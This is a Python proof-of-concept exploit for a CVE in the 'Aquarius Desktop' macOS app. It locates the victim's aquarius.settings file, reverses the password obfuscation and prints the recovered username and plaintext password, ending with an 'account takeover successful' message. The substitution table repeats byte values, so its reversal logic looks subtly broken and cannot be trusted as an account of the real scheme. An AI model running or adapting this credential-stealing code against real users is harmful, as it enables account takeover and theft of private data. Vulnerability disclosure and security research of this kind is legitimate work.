#!/usr/bin/env python3
"""
CVE-2025-65841 PoC - Aquarius Desktop macOS Weak Password Obfuscation
This PoC demonstrates reversing the weak obfuscation scheme used in aquarius.settings
Reference: https://almightysec.com/account-takeover-via-weak-encryption/
"""
import os
import json
import plistlib
from pathlib import Path
# Define the byte substitution table used by Aquarius Desktop
OBFUSCATION_TABLE = bytes([
0x41, 0x6E, 0x74, 0x6F, 0x6E, 0x69, 0x73, 0x68,
0x52, 0x65, 0x73, 0x74, 0x6F, 0x72, 0x65, 0x64,
0x41, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x50,
0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x45,
0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x65, 0x64
])
def reverse_obfuscation(obfuscated_data):
"""
Reverse the weak obfuscation to recover plaintext password
The obfuscation uses predictable byte substitution that can be easily reversed
"""
if not obfuscated_data:
return ""
# Create reverse substitution table
reverse_table = {v: k for k, v in enumerate(OBFUSCATION_TABLE)}
# Reverse the obfuscation
plaintext = bytearray()
for byte in obfuscated_data:
if byte in reverse_table:
plaintext.append(reverse_table[byte])
else:
plaintext.append(byte) # Keep unchanged if not in table
return plaintext.decode('utf-8', errors='ignore')
def extract_credentials(settings_path):
"""
Extract and decrypt credentials from aquarius.settings file
"""
try:
with open(settings_path, 'rb') as f:
settings = plistlib.load(f)
# Extract obfuscated password
obfuscated_password = settings.get('encrypted_password', '')
username = settings.get('username', '')
if obfuscated_password:
# Convert hex string to bytes if necessary
if isinstance(obfuscated_password, str):
obfuscated_bytes = bytes.fromhex(obfuscated_password)
else:
obfuscated_bytes = obfuscated_password
# Decrypt password
plaintext_password = reverse_obfuscation(obfuscated_bytes)
return {
'username': username,
'password': plaintext_password,
'settings_path': str(settings_path)
}
except Exception as e:
return {'error': str(e)}
return None
def main():
"""
Main execution flow
"""
# Default settings file location on macOS
settings_path = Path.home() / 'Library' / 'Application Support' / 'Aquarius' / 'aquarius.settings'
print(f"[*] CVE-2025-65841 PoC - Aquarius Desktop Weak Password Encryption")
print(f"[*] Target: {settings_path}")
if not settings_path.exists():
print(f"[!] Settings file not found at {settings_path}")
print("[!] This PoC requires the settings file to be accessible")
return
print(f"[+] Settings file found, extracting credentials...")
credentials = extract_credentials(settings_path)
if credentials and 'error' not in credentials:
print(f"[+] Username: {credentials['username']}")
print(f"[+] Password: {credentials['password']}")
print(f"[!] Account takeover successful - attacker can now:")
print(f" - Login to vendor website with recovered credentials")
print(f" - Import stolen config into own Aquarius client")
print(f" - Access cloud-synchronized data")
print(f" - Perform authenticated actions as victim")
else:
print(f"[!] Failed to extract credentials: {credentials.get('error', 'Unknown error')}")
if __name__ == '__main__':
main()